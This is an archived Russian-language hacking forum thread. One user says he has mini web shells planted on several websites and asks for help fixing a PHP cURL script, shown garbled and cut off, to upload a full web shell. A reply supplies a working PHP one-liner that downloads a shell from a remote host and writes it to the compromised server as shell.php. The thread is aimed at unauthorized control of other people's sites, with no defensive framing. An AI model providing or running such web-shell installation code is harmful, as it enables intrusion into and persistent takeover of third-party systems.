PDA

Просмотр полной версии : Вопрос по php


CHEBURNATOR
19.12.2016, 14:42
Всех приветствую.

Необходима помощь в заливке шелла через мини-шелл.

Дано: несколько сайтов с залитым мини шеллом вида

Проверка через HackBar Mozilla показала что phpinfo() выполняется.

allow_url_fopen On

allow_url_include Off

Не могу сказать что хорошо знаю php, скорее в процессе изучения.

Решил попробовать написать скрипт заливки полноценного шелла, но видно где то косячу, скрипт не заливает шелл.


PHP:
"@$file"));
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$postResult=curl_exec($ch);curl_close($ch);
echo"$postResult";
?>

Прошу подсказать где допустил ошибку, возможно подправить код.

Не очень понимаю где я должен в коду разместить переменную "xxx", для отработки минишелла.

Спасибо заранее.

mailbrush
19.12.2016, 15:01
Code:
file_put_contents('shell.php', file_get_contents('http://site.com/full_shell.txt'));

Где:

shell.php - название файла куда записывать шелл

http://site.com/full_shell.txt - ссылка, откуда качать шелл (исходник, не интерпретируемый).